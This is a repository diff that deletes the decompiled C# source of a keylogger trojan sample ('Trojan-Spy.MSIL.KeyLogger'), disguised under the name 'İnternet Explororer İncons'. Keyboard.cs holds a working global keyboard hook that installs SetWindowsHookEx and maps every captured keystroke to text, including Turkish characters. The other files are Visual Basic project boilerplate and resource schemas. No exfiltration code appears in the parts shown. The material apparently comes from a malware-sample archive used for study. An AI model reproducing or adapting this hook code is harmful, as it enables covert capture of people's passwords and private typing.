goto label_16;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_11;
}
throw ProjectData.CreateProjectError(-2146828237);
label_16:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
}
}

130
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Form1.resx
View File

@ -1,130 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="Label3.Text" xml:space="preserve">
<value>&lt;html&gt;
&lt;META http-equiv=content-type content=text/html;charset=iso-8859-9&gt;
&lt;META http-equiv=content-type content=text/html;charset=windows-1254&gt;
&lt;META http-equiv=content-type content=text/html;charset=x-mac-turkish&gt;
</value>
</data>
</root>

377
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Keyboard.cs
View File

@ -1,377 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: İnternet_Explororer_İncons.Keyboard
// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe
using İnternet_Explororer_İncons.My;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace İnternet_Explororer_İncons
{
public class Keyboard
{
private static List<WeakReference> __ENCList = new List<WeakReference>();
private static int Key;
private static Keyboard.KDel KHD;
[DebuggerNonUserCode]
static Keyboard()
{
}
[DebuggerNonUserCode]
public Keyboard() => Keyboard.__ENCAddToList((object) this);
[DebuggerNonUserCode]
private static void __ENCAddToList(object value)
{
lock (Keyboard.__ENCList)
{
if (Keyboard.__ENCList.Count == Keyboard.__ENCList.Capacity)
{
int index1 = 0;
int num = checked (Keyboard.__ENCList.Count - 1);
int index2 = 0;
while (index2 <= num)
{
if (Keyboard.__ENCList[index2].IsAlive)
{
if (index2 != index1)
Keyboard.__ENCList[index1] = Keyboard.__ENCList[index2];
checked { ++index1; }
}
checked { ++index2; }
}
Keyboard.__ENCList.RemoveRange(index1, checked (Keyboard.__ENCList.Count - index1));
Keyboard.__ENCList.Capacity = Keyboard.__ENCList.Count;
}
Keyboard.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
}
}
[DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int SetWindowsHookEx(
int Hook,
Keyboard.KDel KeyDelegate,
int HMod,
int ThreadId);
[DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int CallNextHookEx(
int Hook,
int nCode,
int wParam,
ref Keyboard.KeyStructure lParam);
[DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int UnhookWindowsHookEx(int Hook);
public static event Keyboard.DownEventHandler Down;
public static event Keyboard.UpEventHandler Up;
public void CreateHook()
{
Keyboard.KHD = new Keyboard.KDel(this.Proc);
Keyboard.Key = Keyboard.SetWindowsHookEx(13, Keyboard.KHD, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0);
}
private int Proc(int Code, int wParam, ref Keyboard.KeyStructure lParam)
{
if (Code == 0)
{
switch (wParam)
{
case 256:
case 260:
Keyboard.DownEventHandler downEvent = Keyboard.DownEvent;
if (downEvent != null)
{
downEvent(this.Feed((Keys) lParam.Code));
break;
}
break;
case 257:
case 261:
Keyboard.UpEventHandler upEvent = Keyboard.UpEvent;
if (upEvent != null)
{
upEvent(this.Feed((Keys) lParam.Code));
break;
}
break;
}
}
return Keyboard.CallNextHookEx(Keyboard.Key, Code, wParam, ref lParam);
}
public void DiposeHook()
{
Keyboard.UnhookWindowsHookEx(Keyboard.Key);
// ISSUE: explicit finalizer call
this.Finalize();
}
private string Feed(Keys e)
{
switch (e)
{
case Keys.Back:
return MyProject.Forms.Form1.Label7.Text + " [SİL] " + MyProject.Forms.Form1.Label8.Text;
case Keys.Tab:
return MyProject.Forms.Form1.Label7.Text + " [TAB] " + MyProject.Forms.Form1.Label8.Text;
case Keys.Return:
return MyProject.Forms.Form1.Label7.Text + " [ENTER] " + MyProject.Forms.Form1.Label8.Text;
case Keys.Capital:
return MyProject.Forms.Form1.Label7.Text + " [CAPSLOOK] " + MyProject.Forms.Form1.Label8.Text;
case Keys.Escape:
return MyProject.Forms.Form1.Label7.Text + " [ESC] " + MyProject.Forms.Form1.Label8.Text;
case Keys.Space:
return " ";
case Keys.End:
return "";
case Keys.Home:
return "";
case Keys.Left:
return "";
case Keys.Up:
return "";
case Keys.Right:
return "";
case Keys.Down:
return "";
case Keys.Snapshot:
return "";
case Keys.D0:
case Keys.D1:
case Keys.D2:
case Keys.D3:
case Keys.D4:
case Keys.D5:
case Keys.D6:
case Keys.D7:
case Keys.D8:
case Keys.D9:
if ((Control.ModifierKeys & Keys.Shift) == Keys.None)
return e.ToString().Replace("D", (string) null);
string Left1 = e.ToString();
if (Operators.CompareString(Left1, "D1", false) == 0)
return "!";
if (Operators.CompareString(Left1, "D2", false) == 0)
return "@";
if (Operators.CompareString(Left1, "D3", false) == 0)
return "#";
if (Operators.CompareString(Left1, "D4", false) == 0)
return "$";
if (Operators.CompareString(Left1, "D5", false) == 0)
return "%";
if (Operators.CompareString(Left1, "D6", false) == 0)
return "^";
if (Operators.CompareString(Left1, "D7", false) == 0)
return "&";
if (Operators.CompareString(Left1, "D8", false) == 0)
return "*";
if (Operators.CompareString(Left1, "D9", false) == 0)
return "(";
if (Operators.CompareString(Left1, "D0", false) == 0)
return ")";
break;
case Keys.A:
case Keys.B:
case Keys.C:
case Keys.D:
case Keys.E:
case Keys.F:
case Keys.G:
case Keys.H:
case Keys.I:
case Keys.J:
case Keys.K:
case Keys.L:
case Keys.M:
case Keys.N:
case Keys.O:
case Keys.P:
case Keys.Q:
case Keys.R:
case Keys.S:
case Keys.T:
case Keys.U:
case Keys.V:
case Keys.W:
case Keys.X:
case Keys.Y:
case Keys.Z:
return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? e.ToString() : e.ToString().ToLower();
case Keys.LWin:
return "";
case Keys.RWin:
return "";
case Keys.Apps:
return "";
case Keys.NumPad0:
case Keys.NumPad1:
case Keys.NumPad2:
case Keys.NumPad3:
case Keys.NumPad4:
case Keys.NumPad5:
case Keys.NumPad6:
case Keys.NumPad7:
case Keys.NumPad8:
case Keys.NumPad9:
return e.ToString().Replace("NumPad", (string) null);
case Keys.Multiply:
case Keys.Add:
case Keys.Separator:
case Keys.Subtract:
case Keys.Decimal:
case Keys.Divide:
string Left2 = e.ToString();
if (Operators.CompareString(Left2, "Divide", false) == 0)
return "/";
if (Operators.CompareString(Left2, "Multiply", false) == 0)
return "*";
if (Operators.CompareString(Left2, "Subtract", false) == 0)
return "-";
if (Operators.CompareString(Left2, "Add", false) == 0)
return "+";
if (Operators.CompareString(Left2, "Decimal", false) == 0)
return ".";
break;
case Keys.LShiftKey:
return "";
case Keys.RShiftKey:
return "";
case Keys.LControlKey:
return "";
case Keys.RControlKey:
return "";
case Keys.LMenu:
return "";
case Keys.RMenu:
return "";
case Keys.OemSemicolon:
case Keys.Oemplus:
case Keys.Oemcomma:
case Keys.OemMinus:
case Keys.OemPeriod:
case Keys.Oemtilde:
case Keys.A | Keys.F17:
case Keys.B | Keys.F17:
case Keys.C | Keys.F17:
case Keys.D | Keys.F17:
case Keys.E | Keys.F17:
case Keys.F | Keys.F17:
case Keys.G | Keys.F17:
case Keys.H | Keys.F17:
case Keys.I | Keys.F17:
case Keys.J | Keys.F17:
case Keys.K | Keys.F17:
case Keys.L | Keys.F17:
case Keys.M | Keys.F17:
case Keys.N | Keys.F17:
case Keys.O | Keys.F17:
case Keys.P | Keys.F17:
case Keys.Q | Keys.F17:
case Keys.R | Keys.F17:
case Keys.S | Keys.F17:
case Keys.T | Keys.F17:
case Keys.U | Keys.F17:
case Keys.V | Keys.F17:
case Keys.W | Keys.F17:
case Keys.X | Keys.F17:
case Keys.Y | Keys.F17:
case Keys.Z | Keys.F17:
case Keys.OemOpenBrackets:
case Keys.OemPipe:
case Keys.OemCloseBrackets:
case Keys.OemQuotes:
if ((Control.ModifierKeys & Keys.Shift) != Keys.None)
{
string Left3 = e.ToString();
if (Operators.CompareString(Left3, "OemMinus", false) == 0)
return "_";
if (Operators.CompareString(Left3, "Oemplus", false) == 0)
return "+";
if (Operators.CompareString(Left3, "OemOpenBrackets", false) == 0)
return "{";
if (Operators.CompareString(Left3, "Oem6", false) == 0)
return "}";
if (Operators.CompareString(Left3, "Oem5", false) == 0)
return "|";
if (Operators.CompareString(Left3, "Oem1", false) == 0)
return ":";
if (Operators.CompareString(Left3, "Oem7", false) == 0)
return "\"";
if (Operators.CompareString(Left3, "Oemcomma", false) == 0)
return ";";
if (Operators.CompareString(Left3, "OemPeriod", false) == 0)
return ":";
if (Operators.CompareString(Left3, "OemQuestion", false) == 0)
return "?";
if (Operators.CompareString(Left3, "Oemtilde", false) == 0)
return "~";
break;
}
string Left4 = e.ToString();
if (Operators.CompareString(Left4, "OemMinus", false) == 0)
return "-";
if (Operators.CompareString(Left4, "Oemplus", false) == 0)
return "=";
if (Operators.CompareString(Left4, "OemOpenBrackets", false) == 0)
return "ğ";
if (Operators.CompareString(Left4, "Oem6", false) == 0)
return "ü";
if (Operators.CompareString(Left4, "Oem5", false) == 0)
return "ç";
if (Operators.CompareString(Left4, "Oem4", false) == 0)
return "ğ";
if (Operators.CompareString(Left4, "Return", false) == 0)
return "[ENTER]";
if (Operators.CompareString(Left4, "Oem1", false) == 0)
return "ş";
if (Operators.CompareString(Left4, "Oem2", false) == 0)
return "ö";
if (Operators.CompareString(Left4, "Oem7", false) == 0)
return "i";
if (Operators.CompareString(Left4, "Oemcomma", false) == 0)
return ",";
if (Operators.CompareString(Left4, "OemPeriod", false) == 0)
return ".";
if (Operators.CompareString(Left4, "OemQuestion", false) == 0)
return "/";
if (Operators.CompareString(Left4, "Oemtilde", false) == 0)
return "`";
break;
case Keys.OemQuestion:
return "ö";
default:
return "[" + e.ToString() + "] ";
}
return (string) null;
}
private delegate int KDel(int nCode, int wParam, ref Keyboard.KeyStructure lParam);
public delegate void DownEventHandler(string Key);
public delegate void UpEventHandler(string Key);
private struct KeyStructure
{
public int Code;
public int ScanCode;
public int Flags;
public int Time;
public int ExtraInfo;
}
}
}

23
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyApplication.cs
View File

@ -1,23 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: İnternet_Explororer_İncons.My.MyApplication
// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace İnternet_Explororer_İncons.My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyApplication : ConsoleApplicationBase
{
[DebuggerNonUserCode]
public MyApplication()
{
}
}
}

24
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyComputer.cs
View File

@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: İnternet_Explororer_İncons.My.MyComputer
// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace İnternet_Explororer_İncons.My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyComputer : Computer
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyComputer()
{
}
}
}

212
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MyProject.cs
View File

@ -1,212 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: İnternet_Explororer_İncons.My.MyProject
// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace İnternet_Explororer_İncons.My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[StandardModule]
[HideModuleName]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[DebuggerNonUserCode]
static MyProject()
{
}
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.Forms")]
internal static MyProject.MyForms Forms
{
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
internal sealed class MyForms
{
public Form1 m_Form1;
[ThreadStatic]
private static Hashtable m_FormBeingCreated;
public Form1 Form1
{
[DebuggerNonUserCode] get
{
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
return this.m_Form1;
}
[DebuggerNonUserCode] set
{
if (value == this.m_Form1)
return;
if (value != null)
throw new ArgumentException("Property can only be set to Nothing");
this.Dispose__Instance__<Form1>(ref this.m_Form1);
}
}
[DebuggerHidden]
private static T Create__Instance__<T>(T Instance) where T : Form, new()
{
if ((object) Instance != null && !Instance.IsDisposed)
return Instance;
if (MyProject.MyForms.m_FormBeingCreated != null)
{
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
}
else
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
try
{
return new T();
}
catch (TargetInvocationException ex) when (
{
// ISSUE: unable to correctly present filter
ProjectData.SetProjectError((Exception) ex);
if (ex.InnerException != null)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
}
finally
{
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
}
}
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) where T : Form
{
instance.Dispose();
instance = default (T);
}
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyForms()
{
}
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyForms);
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
}
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}

36
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MySettings.cs
View File

@ -1,36 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: İnternet_Explororer_İncons.My.MySettings
// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace İnternet_Explororer_İncons.My
{
[EditorBrowsable(EditorBrowsableState.Advanced)]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
[CompilerGenerated]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
[DebuggerNonUserCode]
public MySettings()
{
}
public static MySettings Default
{
get
{
MySettings defaultInstance = MySettings.defaultInstance;
return defaultInstance;
}
}
}
}

31
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/MySettingsProperty.cs
View File

@ -1,31 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: İnternet_Explororer_İncons.My.MySettingsProperty
// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace İnternet_Explororer_İncons.My
{
[HideModuleName]
[StandardModule]
[CompilerGenerated]
[DebuggerNonUserCode]
internal sealed class MySettingsProperty
{
[HelpKeyword("My.Settings")]
internal static MySettings Settings
{
get
{
MySettings settings = MySettings.Default;
return settings;
}
}
}
}

46
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/My/Resources/Resources.cs
View File

@ -1,46 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: İnternet_Explororer_İncons.My.Resources.Resources
// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace İnternet_Explororer_İncons.My.Resources
{
[StandardModule]
[CompilerGenerated]
[DebuggerNonUserCode]
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[HideModuleName]
internal sealed class Resources
{
private static ResourceManager resourceMan;
private static CultureInfo resourceCulture;
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (object.ReferenceEquals((object) İnternet_Explororer_İncons.My.Resources.Resources.resourceMan, (object) null))
İnternet_Explororer_İncons.My.Resources.Resources.resourceMan = new ResourceManager("İnternet_Explororer_İncons.Resources", typeof (İnternet_Explororer_İncons.My.Resources.Resources).Assembly);
return İnternet_Explororer_İncons.My.Resources.Resources.resourceMan;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => İnternet_Explororer_İncons.My.Resources.Resources.resourceCulture;
set => İnternet_Explororer_İncons.My.Resources.Resources.resourceCulture = value;
}
}
}

120
MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Resources.resx
View File

@ -1,120 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
